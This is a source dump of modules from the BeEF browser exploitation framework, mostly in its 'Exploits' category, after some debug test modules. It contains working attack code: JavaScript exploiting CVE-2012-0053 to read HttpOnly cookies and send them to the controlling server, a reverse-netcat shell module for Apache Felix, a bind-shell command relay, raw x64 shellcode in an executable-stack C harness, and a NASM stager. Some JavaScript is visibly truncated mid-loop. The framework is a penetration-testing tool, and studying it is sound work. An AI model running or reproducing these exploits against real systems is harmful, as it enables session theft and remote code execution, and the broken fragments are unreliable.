CacQ4ktlbMKYuoABRBOXo/D19/hHbqKUhyrYBDTFrSI3bfNuxdOA/XL52BjoDBj9Uz4SRDrsPhasrvoHgdpdQxQM6AKwXJnDp6/BRiL11WAeKJ0EZBomOg3t2AuPOxeP/DkulXXFy0Y8NSjJowho61EVAyYc3OURZpFiuZZiEhjdC8eTORysGgaNS6M7wDgmtFe4g6bLvSmeT4uoWwEdfhMtzCYs0zi8i9CwvfaT5XgfEeZD15nYq+FG/ISb1eH3rtSiL27DskOgTqiLw2DgtV2mryXdnohf9++QPumz4BA/r0LPIGbdu0xNql3yBy935s2LQDMecviBkYIcFBAkAD+/fCrCdfFsFHrpMIad+9Vly6rCGY/B9Z/T0SThwUwCge9OPBNF26dMKli3HIIADr3FxOq3COzxOQRU4uAxAWdhMOZwfJspXrcd/U8eLBls2bFgTumMhbSCu8/Oc3sWnNIngbi7ajYm/Q4IF9xSoua9Zvwa4o4pd6nQjINQgLd7r2YM3B+VtHVn2HhJOHBNcoLqzVuvVijbcE27ZH4b6Hn0EumX5610kp4T7JM2idk9vUdUwslvVCrdOm2rR1J86pXU66d+0kOvw57vZ6AsWeyD14/a0PqvQHRbCRI+9k+nBrHq7vcGYioiN+cXLjzwSOg6WDg8yqwOBAfP2/D+Hr440J40bhH6+9DOS6TKl2DK0JEhyuCRCuMz/IfbHSEpLw+VcLxINdu3SEu9FYxBzSEkg+mjsf/1OPqUg4vvIrN2ImHsMbuWHztk7OJtFAqzfgTOR6XDoUVSo4xMgzAufH/3kH3bp0LHj8qUcfRJtO7QR4XEA4+VN2HnFRgLC984XKzvHVt4sEWefxwp3bt4Gt0AZiU8qu0+KFl17DNwuWVPjHeMjkpUvxAhzc99Y3pAntVeeZV5xcGH9sL85GrhMxj9JGe9jJtPrrX17ADNV0dEgDP18MHTygUpOcall2QrpvXRogLAsEWSfSei0+AW/860PxIHf5gKWoO5YIPfKIQzz6xEv42xvvi5LUsmTLtigyY0ziDm4MDIGnr7/TPEgMiLT4WDKtlhQxtYogPyMT46aMxZuvld4psWO71spsj5srJ8t6grV3aUtK3ZJ0Fo72cYnmUh7G8u13izF+zEg8Ous+zJk3HxbaRIWH2+vd3ETc4923/w/LV63HA9Mnol+fHvAh+54v4OX4K9iweScWLvlFtNS0EYH2bdREmEO2/JrXl3Osg0tlj69fJCLjulI6iLCbuUvPbvjqs9lw05f+tS0WlxiF0qi0B9k0LCv1vh6n5Lu8aPQNWpT3PA+hfNZqtpAJ4oPtG5di9kf/xfdfLyyzPSYPmLHT8VyVp+OuHgQcq6g8tNPvnuLOLgKEZGL1nPak6IpYoxQT2hzctf342h8Re2BnmR6rxs2aYOPqhejYvk2Zb/XgYy9gAZmUN7lvVRqt3lAi5kL45hMYEIAVi79AYMMAMT6ahcdVxNHNZ8zkh0UpglYrZ7LWlYnlEI7cbubgYNr1VNz30FMY0K83ApuElTnfW8fdAgk83CBNNJMmDcIeL+4g6DB7+I6fff0qzkatr3HNBxc3XT66BxcPRYqfS4CDwBnatDFW/PRVueC4kpiErTt2CQfCTZYGqvZWPj+ZtGGhjbBjw8/oT1qZB/d0IFOQV6uW4Wjdsrm4SUhL6+YAhE2tB+nsH+A53NGnzuDd9+fC19enwpmSrPb5jlbWXY0Dd9cuRCM7JanaaR/MOzKS4hG99RcFfMUDgdnZCCMwr1zyNXr16Frue82Z+wUSuEG3m5srXBfOY1Nau9oVnseN+6S4DgcpLEngGYZ2+zd6T48xcVcSlLTwGgbUOKXcYjIhJz0F3kGhVc4s4tezaXZq81LkZqSWMK2YkHfs3hU/fjMPEZ07lPte88lk/JBMR215Y84IfPm5ubCLPLJatPn5vRnsOt37Wp2OAzMfSyLu2gBh4eoprm9+V6fX8zQn5+wQeheLqXolDEzEz0ZtwNWzx4uAw7GZHn/mUcx+5zXhKChLeJrWe3M+xfvvz4OduUw5Nnw+ASOCAMccIL+WPF2sdXkabVpGBq6TSZuQlPwRcrK98k2mf9/EPcLzDDnptK7dexyhLr45/KC0oq2LOwbvcWtVbBsuJeR0de6kyFWDLZ21KapjWrFL99yujYKgF9nIRGgDGvgJvnE+Ng7Nw5vA6OVV8I1NebmIPn0OG7fuxDc//IwzJ6Kh4+GbFaS92025+Pebr2DUiCG1elWYkHPVZg5p18vxidi2c9e7kbsP+Fqt+X+7SQDh0Vrvou7q2/kuxakV3H42sthzjpa0eXUAEt5Y16pj/HN7E87X+gOUfkt+NfkUOkPVRowx1+C+vCc3LSHtk60GBAupRDL9uDv9Sy/+DQbSHpymHxwcKPLHePMlX7uO5ORrYsAl17fcZI9Vyd1B389o9BKLW592j+iE559+5K9kUvJ02mdR911KHCe4rk+UvoxNy3cyrzr6DF7VTV9NVT0t30CpLeekuoZVegcxVNMg3L1VsbEZEKw5UmJPiyKoskDEG99CZlFCYhISCpUPc1MK9qLV0bAa5+wUJW7zsLoxpt8m5r9LEK+aOs7PqVqE53f8HYV895UxJTx8fOFu9Kl0siKDIzX+Ai7s3VpCc5R6PGkN9krpeXqTY3F8Rldv4wXTVC5YIGs3boOJtKFWK4OFrggQh3Bl1T9pRUCpkV5RkSnAwUJOdxcapBJdTFgrcH0HN1pg00pTP9vyOEOmOn44feY83n53jhjxLKPprg0Qh7DXgbtscJf2Lqr5FVWaB4SH3/B45sq219G5uePioV9x7Xx0lXnLLSYRqr8BK39Zi7gz0UIzSqk7IuQsiaX1kbr6qsAJVcBhF/yB091tlTCvuONIRtJlwT20etetJV/6yzp8/N+vRLvWqtExuzAHR4+8E0/+7sEiYxdKESbLfsdORKe9N3c+4O2PmxxG5/Y3PJIvWyXQNRWNyj+OVuO1nLPEZclpTvgsfOc21dVuu1CYdHGAL6BpKyUPq6JqQo3o7oCY7SuRl5leaq6VqwiP0N65fj3gZqx6pMhmx7plK+Hj44NZD0wt94zk22zat96ejZS4eI2+gV84AYQjoZxU10j19NjLuOA8mZjHQHMp73n1utS0Soxr5LfCNXpy8WaaByW47fIapLDwfPOwwuYVzzPXE9GuaCot51fFHd6NxNNHRL2HS6tjTlNx86r2UB1rhg0HDx2pCCA5Pyxcen3JoiW99A3836STeSeq5/bkuy3301oGpVdZdee7aAHcsgSorgBSMOyTNQb3wOJmDRVpD87RMqWliAZvCldx7etg5WIrSxbyM+zV0CA2oS0HDexTvt16Me7Icy+9NhU+vtz6x7MGH9dN5Ym8uDUTu48PVeN9bHARl2x9BQir/dE3zCsrwjr1EmMGKppQy80Xzu7aIBIaXdm0ckiXzh0wfeYseFRR0yljH+wYPnQgpk0aW+6xOyL3mDLT0ubqjUZPJ370VlDGUPRTzbCqCPPK91VTraZOH8dthTM1Lt4uABkHJZdHxDsMnkaEduxZYSWhku17WphXOtcYoVyh3E0km1dtSZ7ZHPnRx583pDtHSCVfYlY3XWVSlLmxH8+b/KCKHytAJenOlJ+qCRD+nm+qvEhXQ6DyBn2nLgAyozA5D2rVkch5WLnmlYh55OXh9I5VovqQXby3uTA/WPzhR//77LdDRzfqyk6P2QVl5spF1fRJVe/qfurmYTL/JK32Zbx+fDUAUhtS3TY3evX7OUMYIPNqGyDs3h1S2CMV0i4CWq1eaT9alvYg8n7+wGakXjp7u8c8HMJep70x52I7kD3WWFP2MRx/ulrO+3AzCA7iHkShGfSFpIP6+HV5yuvGxJruUHV2kVrih4DwNmJibZm8Q69H1rVEnNu9CRqdTl4hRTiV57t+fXrkfvPVAqIsdk0pkXN2s/YsZsuXoDtQXKFpZQCEiZ6/BEjdAITtgImFzSv/pq3EiDObpWyA8IXntj2lFUG5utS0sKmCdBGN2WLxLCcoyPXENW1RymaYd3W+upNOoeZ2AAifZE6VHYPCNSN08YNbd4GWKwHLIeZXzxzDlRMHSq0vd3X5efkafDh3Pjw9PaoFLv8GfpgxfQKml+HJSk5Oofu/tTbzrvja+VbxNbGq3Z8F50TSWU7cigBpCqXR8hjVI+LLEXBbvk1oD4PRB/5NWpbpvWJizjM7oreuQH6uCRriIWJmOde2czJePUhOvBh3GXu3b6teJJ3FbMbaNRvRtnXLIl0fC7SwzSVDDpxiEgnXiKTzCeI5NOYaaiN2bLCZk+csgLApNZ9WIHunePEQTNYI3gEBcDf6IrBFe3j6+ZftvWLTgVb7YZNEj6s8MrGy064hJ/UaslKSCDxpAlw6nZvLchMxS13rDo2ne7Wujs3dAHNmFuLj4ksFiBfXzJc9Ho7jEHE1QJBW9dzkVON1rmIa8Tm4By6WajIMSpDJwPM+fBqGiDQSduV608+sOQxeRmFaWS3mck0MNw9PMsM6Kedbo9jknOLOmiXzajyZX8dFDTo3euBiK1cbtMnfEW56UeBU1R3D9wctadyhE0ZjwIDSo+kB/v5cPVWgWYvJaVp3qnc+bQV2fo56nLPu2jKSXo7wxFoDm1G+wY3Ra/qTAhgMFtEa05YvXLq2Sm0SuwBEceLK3i8m943aRiCHtErc4V2IPbCj1JLbmyn3E3+4gzZ3dRq48Xf38TaKGnq3MloPNQxoIABShniqGqAyJbmMwIhiIHFk0XJ3/8QqfHTOsZsH50TSHWJQecj/1XeA8JDObg77uGm3/gIcZpPz6vsFyJi3qNyFC6zaDZ2A4LZdcWLdQtG8wVViJcFBgWLVlnTp1B7unh4w0w1HV1KDsBeL406bKvFWPEd9eCmPs/07sIoAYbfwI7XwdXffCgDRC7TTJmbOYfDyKUbCNWQGaUQPKzaH+F877BXXL4iLrxEzEfOZsxQ63sFx/EObofd9v8fhX75RWv8Y6pdLuDrCXRV7RHTGbh5AVHoPL+74MZvWdijTwhx3dLv6cziU2vbhZfwJ7hHrKmMXLK7wIZxhYjECSINYkZ5wCc26D1QGdIo7vxXWXBNyM9ORm50BM6+cbORlZwrTi9PezTlZMHh6F2pLqhW/cwyEG1z70NIbDIrJVqi4ivmMm6cR3Sf9DgeXzBddGvW3eNSdnQBPPzETu/fsL4uHBNH6twqI4oRPV4nrzZ3l4yHFaQC5BiXvJ4C5QNyR3UKLsLeKKwAzEuOIUF8XzeGseSaFXwj+rSmqLYppFIeWcfPwgh9piiZd+4n0eCbxVnU6ldAmBBo+JmLsA9iz4GOY0q67dMWhM2T4kIHrQsJCUhOTku/Xl/1d+QRX527xH1Q/D0oCpBThuxQnx81l8ynfkoforcuVTU53e2FWqaYVxKzyqplBNtIyKRfPICU2RpDyVv1HCqLOJbiOsdEMOq+AYHQcMRmHln6hgO3WbWCwUavVPqjT6dPpHsJk/DEnEWOuMuRewItc6LtqywB+vTOxPoVSE/AXAoJO8SrZnfJdGFgOLxWbb4eWf4XAFu3QaeQ04UZ2VCPyv43adaMVIYZ21gppp6+Tk2MSHCsru/ZjYt7eRhOBgb0dXJ/BQ+s5BXwlnVuL6lV9Ur053U9rEJSSAq9KnnjmGpwSzhWF3CmTpw7FlQMePjatDvelZxmOAr4pXFVvzPZSTMhsZ2vAiuaDVEVG0loKJc2k1oSLrIwBQYgYN1M0fXCAhIHE9SP7F3+i0iLn3mzYS9ckLIQ3bqUaTdREMrOyLr356svTH5153yXVjC0grIlJV9Fr8FjExydCf2NsNX9ZHpsQUAmAaFQCn1oKTylNPNQNW5exDo36nYu7rPluaSzns9jV7+a0z+osg50/9KzaBof4wGSmMa85uHS+GMAT0Kw18gkkIhmySQsi9k2RfiWWkO/cMQYc24iLu+LUibxlSB6RqafiL1/ZW4XX2NUNn1oLnydXXa4g5kqC2qVMLEY1uxcnlLjrqukj1Qmc8V26zNkitPnZG3Zk5bfoM+NZGP2DxVx0Nq0YMKlx5wRPcboXya3WHQC8ER+zmtzX1cbnl+IcIlRV+WdxcPBdlmcC6qz5MHobq5wGzsDwNBjU0W1lbVY3ZKdcxfF1CwkceaozQAOfwJD6ei3YnBqt3myk3CIAGQxlJMINjmDKhYYAMW7yWCxb8jV6RnRGfm7lWy8xmCwWC556YibGTxwDa2ZWmWYNm1vJ507iwr5tIjdLNKTzNCrao34NnfmZVn8oAT4ptxBAXkOhhgC8mbv16IqNaxZh5eIvhSbYvnO3mFdYec+VRgwBjdpzAD999yle/cefiWNYyhxaw5NyYwkgXIWo41FutnqVO8eBOW5IzZWXV+R2vLUAwnk/IwrAQSbV2En3YPv6nzH0jv7IyzPj729+IOaqV5WD6DzcsSdqH9Zv2oG3X/8jPvn4XdjJXCvNe8S1Ihypv3Q4UgQJ87IzlKm5rh0LYfcqxzB4mu0SuQ1vTYBw2ZvYhTxmecDgAfjx63nwU+du8Lz0g/sPKaOgqyjCRWs2Y9uOKPH7M4/PxOt/fRE24iSl9tQkzZF89gRyOS0+OaG8mombKUzA10EZX9Cd1pdwjSIjKbUEkDv5f2z6ePs3wIfv/UOkazvkp2WrBQ+odjyCSPipmHMFv/7tz8+h78A+yC+FuGtULcKZvWmXzwut4iLC2bHcQeR1FRRcbbkMruM2lVKBVNdvyUGptoJUEymfeO8k9O3VreDJrOxsnIyOEZu8JmIvpC+4W+Hzv38MD+w5WCJRz/FjYvRvovqwumOlnSBsA3I2LHcm54bOm9WfZX7TbQYQTi1Rul8Qv5gyfnSRJ9MzMpGZlcMldjW491oR3rRJkYdGDR+MsGaNceVKYqnzzBNOHSory7U2AcFd0rmnLTdt4+Ae3Rlk25zbHSDc+cLA5pVvwwC0b9e6yJPeRiO8eEaGrQbeJNroEV2KzjcPIFOuTasWuHLxcjHtpBG9tjhYqKl9/mFWwbBG1RBnUHcTYKXUE4CInc/xCV8i5X5+RTNMmKi3a9cKZ0+dBtyrXhJrNVvQsHEoxo0eWYK8K+WopQFPU9uag5MGv4YyuPSE3DqSpFe0WUwO+19TSn7cQ8RLWIPYqhiwE0HBnBy89NwTCG/WuJhSscNsrmlHlyoLe5q4X21XKCnhEhwSIBUKB7XSOb0jIzML6ZmZJQ6YPmUc7n1wGmzpaRV2ci+sOfKzsvEEgeNvf3quJCqvpyLm7AXROaQOhD80p31wO88/QwbyJECqIKw9DnMJaPq164g+XXL6M5s7X376AZ5+8RlhEVmJuFtz85DPjeRsN1Y+kXGOo1jTMxDcKBAff/IB/vvRO6XG+TZvi0Ti5SvQ1X7V4BZaQ6EMlomW20QCpDqidM+gTf79wmWlHmA0euHTOf9C5JblePyZR9G+Yzu4Eydh8PB/DLAGDRpg2F1D8f6H/8LByLV47qlZpXKJHJMJ/5n3Rc1iKxXLcShN8Jj8/Cq3h5Sa3IrZi/O21tPTZ+mKtVi+egMmjR1V6oH9+/QQy5SbiysJV5GcfI2HwQivVEijIAQE+ENXQTrKK3//N/ZG7oHex7s2zgNXy71La66DW0mRUlOAcJj7B61W87TNYsPvX/gbwps0Ro9unct8AY9HbtWimViVlby8PPzptXcwd+58aI3G2jgHDHSe535WbgcpzjSxWLixV5Lew4CE+ASMGv8AFi9d5bQPt/fAYQwfdz/mfvgpdGSaabVONa3Ys/AUlJwyCQ4ptQIQjiL/iUm43ssD11JSMOOhpzB6ysPYsj0KFou1ym/IjRE2btmJqfQ+g4dPRNSOXdD7+ji7Dy93AOdGB/+TW0BKbZlYDvkenHpix3vc4I1jFetXrcfmjdvQoVMH3D1yCPr17i4i4GEhjUSHcg72cRSeV2pquhgbcOZcLHbtO4htO3fjXMw52IijaOlYvZens7/zt7SeUzWIFCm1DhCW91VyO1uj0bjpjUYx1vjYkeM4RpseBBwvP18YVXAEBzYUCY3cPocDf5lZ2bBkqPuVjtUa3KA31EpNNmfVvi0vu5S6BgjLXNV04d6wfZgvaD3cOQ1XaBWTyYQc0U/KjiukMTjJUQnDK717a8k7VcD1ofSR+lZecik3CyAsPGmI69Q5vZc7fnOddRDHLcRwGUeZhludduzg3ko8inq1vNxSbjZAHHfrFepyjEfgUdBcXsr5TI3q8Ptxli3Xe6+Tl1qKqwCksHCbyI3qYmlI615af6XVpA40hwSHlBpJXRdvcxYw9/Lto2qY2pJMFYgSHFLqFUAcwmWpk2m9AOe7W7maj1vprJWXV0p9BQgLF4p8DCVgt9FJ78nJhjxUdIO8tFLqO0Acwk0NxqhEntv5X67Ge3CyIRc1sQftiLysUuoLSa+scHHSTnVx/W53dbNz5mNLKJNUvXFj8Ai3xucCJu5MyN1DVsN1ZutJuYXk/wUYAC5gaikMXNI2AAAAAElFTkSuQmCC"); }); ================================================ FILE: modules/debug/test_return_image/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_return_image: enable: true category: "Debug" name: "Return Image" description: "This module will test returning a PNG image as a base64 encoded string. The image should be rendered in the BeEF web interface." authors: ["bcoles"] target: working: ["ALL"] ================================================ FILE: modules/debug/test_return_image/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_return_image < BeEF::Core::Command def post_execute content = {} content['image'] = @datastore['image'] save content end end ================================================ FILE: modules/debug/test_return_long_string/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var repeat_value = "<%= @repeat_string %>"; var iterations = <%= @repeat %>; var str = ""; for (var i = 0; i < iterations; i++) { str += repeat_value; } beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success()); //return [beef.are.status_success(), str]; test_return_long_string_mod_output = [beef.are.status_unknown(), str]; }); ================================================ FILE: modules/debug/test_return_long_string/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_return_long_string: enable: true category: "Debug" name: "Test Returning Results" description: "This module will return a string of the specified length." authors: ["wade"] target: working: ["ALL"] ================================================ FILE: modules/debug/test_return_long_string/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_return_long_string < BeEF::Core::Command def self.options [ { 'name' => 'repeat', 'description' => 'Times to repeat', 'ui_label' => 'Times to repeat', 'value' => '1024' }, { 'name' => 'repeat_string', 'description' => 'Strings to repeat', 'ui_label' => 'String to repeat', 'value' => '\u00AE' } ] end def post_execute content = {} content['Result String'] = @datastore['result_string'] save content end end ================================================ FILE: modules/exploits/apache_cookie_disclosure/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // // BASED ON https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 beef.execute(function() { function setCookies (good) { var str = ""; for (var i=0; i< 819; i++) { str += "z"; } for (i = 0; i < 10; i++) { if (good) { // Expire evil cookie var cookie = "beef" + i + "=;expires=" + new Date(+new Date()-1).toUTCString() + "; path=/;"; } else { // Set evil cookie var cookie = "beef" + i + "=" + str + "; path=/"; } document.cookie = cookie; } } function makeRequest() { setCookies(); function parseCookies () { var cookie_dict = {}; // React on 400 status if (xhr.readyState === 4 && xhr.status === 400) { // Replace newlines and match
     content
    				var content = xhr.responseText.replace(/\r|\n/g,'').match(/
    (.+)<\/pre>/);
    				
    				if (content.length) {
    					
    					// Remove "Cookie:" prefix
    					content = content[1].replace("Cookie: ", "");
    					
    					var cookies = content.replace(/beef\d=z+;?/g, '').split(/;/g);
    					
    					// Add cookies to object
    					for (var i=0; i", <%= @command_id %>, "cookies="+result);
    	
    			}
    		}
    		
    		// Make XHR request
    		var xhr = new XMLHttpRequest();
    		xhr.onreadystatechange = parseCookies;
    		xhr.open("GET", "/", true);
    		xhr.send(null);
    	}
    
    	makeRequest();
    
    });
    
    ================================================
    FILE: modules/exploits/apache_cookie_disclosure/config.yaml
    ================================================
    #
    # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
    # Browser Exploitation Framework (BeEF) - https://beefproject.com
    # See the file 'doc/COPYING' for copying permission
    #
    beef:
        module:
            apache_cookies:
                enable: true
                category: "Exploits"
                name: "Apache Cookie Disclosure"
                description: "This module exploits CVE-2012-0053 in order to read the victim's cookies, even if issued with the HttpOnly attribute. The exploit only works if the target server is running Apache HTTP Server 2.2.0 through 2.2.21."
                authors: ["gcattani"]
                target:
                    working: ["All"]
    
    
    ================================================
    FILE: modules/exploits/apache_cookie_disclosure/module.rb
    ================================================
    #
    # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
    # Browser Exploitation Framework (BeEF) - https://beefproject.com
    # See the file 'doc/COPYING' for copying permission
    #
    class Apache_cookies < BeEF::Core::Command
      def post_execute
        content = {}
        content['apache_cookies'] = @datastore['apache_cookies']
        save content
      end
    end
    
    
    ================================================
    FILE: modules/exploits/apache_felix_remote_shell/command.js
    ================================================
    //
    // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
    // Browser Exploitation Framework (BeEF) - https://beefproject.com
    // See the file 'doc/COPYING' for copying permission
    //
    
    beef.execute(function() {
      var rhost = '<%= @rhost %>'; 
      var rport = '<%= @rport %>';
      var lhost = '<%= @lhost %>';
      var lport = '<%= @lport %>';
      var payload_name = 'reverse_netcat';
      var timeout = 15;
      var peer = rhost + ':' + rport;
    
      cleanup = function() {
        try {
          document.body.removeChild(felix_exec_iframe_<%= @command_id %>);
        } catch(e) {
          beef.debug("Could not remove iframe: " + e.message);
        }
      }
      setTimeout("cleanup()", timeout*1000);
    
      payload = function() {
        var whitespace = '';
        for (var i=0; i = beef.dom.createIframeIpecForm(rhost, rport, "/", code);
        beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
      }
    
      try {
        exploit();
      } catch(e) {
        beef.debug(peer + " - Exploit failed: " + e.message);
      }
    
    });
    
    
    ================================================
    FILE: modules/exploits/apache_felix_remote_shell/config.yaml
    ================================================
    #
    # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
    # Browser Exploitation Framework (BeEF) - https://beefproject.com
    # See the file 'doc/COPYING' for copying permission
    #
    beef:
        module:
            apache_felix_remote_shell:
                enable: true
                category: "Exploits"
                name: "Apache Felix Remote Shell (Reverse Shell)"
                description: "This module attempts to get a reverse shell on an Apache Felix Remote Shell server using the 'exec' command. The org.eclipse.osgi and org.eclipse.equinox.console bundles must be installed and active."
                authors: ["bcoles"]
                target:
                    working: ["ALL"]
    
    
    ================================================
    FILE: modules/exploits/apache_felix_remote_shell/module.rb
    ================================================
    #
    # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
    # Browser Exploitation Framework (BeEF) - https://beefproject.com
    # See the file 'doc/COPYING' for copying permission
    #
    class Apache_felix_remote_shell < BeEF::Core::Command
      def self.options
        configuration = BeEF::Core::Configuration.instance
        lhost = configuration.beef_host
        lhost = '' if lhost == '0.0.0.0'
        [
          { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' },
          { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '6666' },
          { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },
          { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }
        ]
      end
    
      def post_execute
        save({ 'result' => @datastore['result'] })
      end
    end
    
    
    ================================================
    FILE: modules/exploits/beefbind/beef_bind_shell/command.js
    ================================================
    //
    // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
    // Browser Exploitation Framework (BeEF) - https://beefproject.com
    // See the file 'doc/COPYING' for copying permission
    //
    
    beef.execute(function () {
        var rhost = '<%= @rhost %>';
        var rport = '<%= @rport %>';
        var path = '<%= @path %>';
        var cmd = '<%= @cmd %>';
        var shellcode ='<%= @shellcode %>';
    
        var uri = "http://" + rhost + ":" + rport + path;
    
        strip_output = function(output){
    
            var offset = 0;
            for(var c in output){
                c = output.charAt(c);
                if(c.charCodeAt(0) == 0){
                    break;
                }
                offset++;
            }
            return output.substring(0,offset);
        };
    
        var counter = 0;
        get_additional_cmd_results = function(){
            xhr = new XMLHttpRequest();
            xhr.onreadystatechange = function(){
                if(xhr.readyState == 4){
                    var result = strip_output(xhr.responseText);
                    beef.debug("result.length: " + result.length);
                    if(result.length != 0){
                        beef.debug("get_additional_cmd_results - readyState == 4: request [" + counter + "]\r\n" + result);
                        beef.net.send("<%= @command_url %>", <%= @command_id %>, result);
                            counter++;
                            setTimeout("get_additional_cmd_results()",500);
                            }
                 }else{ // No more command results, ready to send another command.
                    beef.debug("get_additional_cmd_results - readyState != 4: request [" + counter + "]");
                }
            };
            xhr.open("GET", uri, false);
            xhr.send(null);
        };
    
        get_prompt = function () {
    
            xhr = new XMLHttpRequest();
            xhr.onreadystatechange = function(){
                if(xhr.readyState == 4){
                    beef.debug("get_prompt: Retrieved prompt");
                    var prompt = strip_output(xhr.responseText);
                    beef.debug(prompt);
                    beef.net.send("<%= @command_url %>", <%= @command_id %>, prompt);
    
                    //send command
                    send_command(cmd);
                }
            };
            xhr.open("GET", uri, false);
            xhr.send(null);
        };
    
        send_command = function(command){
            xhr = new XMLHttpRequest();
            xhr.onreadystatechange = function(){
                var cmd_result = strip_output(xhr.responseText);
                beef.debug(cmd_result);
                beef.net.send("<%= @command_url %>", <%= @command_id %>, cmd_result);
            };
            xhr.open("POST", uri, false);
            xhr.setRequestHeader("Content-Type", "text/plain");
    	if (shellcode == 'Linux'){
                command = "cmd=" + command + "\n"; // very important only LF
            }else{
                command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"
            }
            xhr.send(command);
            setTimeout("get_additional_cmd_results()",500);
        };
    
    
    
    get_prompt();
    
    });
    
    
    
    ================================================
    FILE: modules/exploits/beefbind/beef_bind_shell/config.yaml
    ================================================
    #
    # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
    # Browser Exploitation Framework (BeEF) - https://beefproject.com
    # See the file 'doc/COPYING' for copying permission
    #
    beef:
        module:
            BeEF_bind_shell:
                enable: true
                category: ["Exploits", "BeEF_bind"]
                name: "BeEF bind shell"
                description: "Send commands to be executed on the already deployed BeEF_bind shellcode, and get results back."
                authors: ["antisnatchor", "tymiller"] # shellcode awesomeness -> Ty Miller
                target:
                    working: ["FF", "C", "S"]
    
    
    ================================================
    FILE: modules/exploits/beefbind/beef_bind_shell/module.rb
    ================================================
    #
    # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
    # Browser Exploitation Framework (BeEF) - https://beefproject.com
    # See the file 'doc/COPYING' for copying permission
    #
    class Beef_bind_shell < BeEF::Core::Command
      def self.options
        [
          { 'name' => 'rhost', 'ui_label' => 'Host', 'value' => '127.0.0.1' },
          { 'name' => 'rport', 'ui_label' => 'BeEF Bind Port', 'value' => '4444' },
          { 'name' => 'path', 'ui_label' => 'Path', 'value' => '/' },
          { 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'hostname' },
          { 'name' => 'shellcode', 'type' => 'combobox', 'ui_label' => 'BeEF Bind Shellcode', 'store_type' => 'arraystore',
            'store_fields' => ['shellcode'], 'store_data' => [['Windows'], ['Linux']],
            'valueField' => 'shellcode', 'displayField' => 'shellcode', 'mode' => 'local', 'autoWidth' => true }
        ]
      end
    
      def post_execute
        save({ 'result' => @datastore['result'] })
      end
    end
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c
    ================================================
    /**
     Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
     Browser Exploitation Framework (BeEF) - https://beefproject.com
     See the file 'doc/COPYING' for copying permission
     
     The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled with:
     #gcc -fno-stack-protector -z execstack -o socket64 socket64.c
    **/
    
    #include 
    #include 
    #include 
    #include 
    
    int (*sc)();
    
    char shellcode[] = "\xfc\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x89\xc3\x6a\x01\x49\x89\xe2\x6a\x08\x41\x58\x6a\x02\x5a\x6a\x01\x5e\x48\x89\xdf\x6a\x36\x58\x0f\x05\x48\x31\xc0\x6a\x10\x5a\x50\x50\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x48\x89\xdf\x6a\x31\x58\x0f\x05\x48\x31\xf6\x48\x89\xdf\x6a\x32\x58\x0f\x05\x48\x31\xd2\x48\x31\xf6\x48\x89\xdf\x6a\x2b\x58\x0f\x05\x49\x89\xc7\x48\x89\xdf\x6a\x03\x58\x0f\x05\x48\x31\xff\x68\x00\x10\x00\x00\x5e\x6a\x07\x5a\x6a\x22\x41\x5a\x57\x57\x41\x59\x41\x58\x6a\x09\x58\x0f\x05\x49\x89\xc6\x4c\x89\xff\x4c\x89\xf6\x66\xba\x00\x10\x6a\x00\x58\x0f\x05\x4c\x89\xff\x6a\x03\x58\x0f\x05\x4c\x89\xf6\x81\x3e\x63\x6d\x64\x3d\x74\x05\x48\xff\xc6\xeb\xf3\x6a\x04\x58\x48\x01\xc6\xff\xe6";
    
    int main(int argc, char **argv) {
       char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
       if (ptr == MAP_FAILED) {perror("mmap");exit(-1);}
       memcpy(ptr, shellcode, sizeof(shellcode));
       sc = (int(*)())ptr;
       (void)((void(*)())ptr)();
       printf("\n");
       return 0;
    }
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/linux/x64/stage64.nasm
    ================================================
    BITS 64
    
    SECTION .text
    global _start
    _start:
    	cld ;clear direction flag
    	xor rdx,rdx ;zero rdx
    
    	push BYTE 0x02
    	pop r14
    
    	;create two pipes
    createpipes:
    	push rdx ;allocate space on the stack
    	mov rdi, rsp ;point to the stack
    	push BYTE 0x16 
    	pop rax ;sys_pipe
    	syscall
    	dec r14
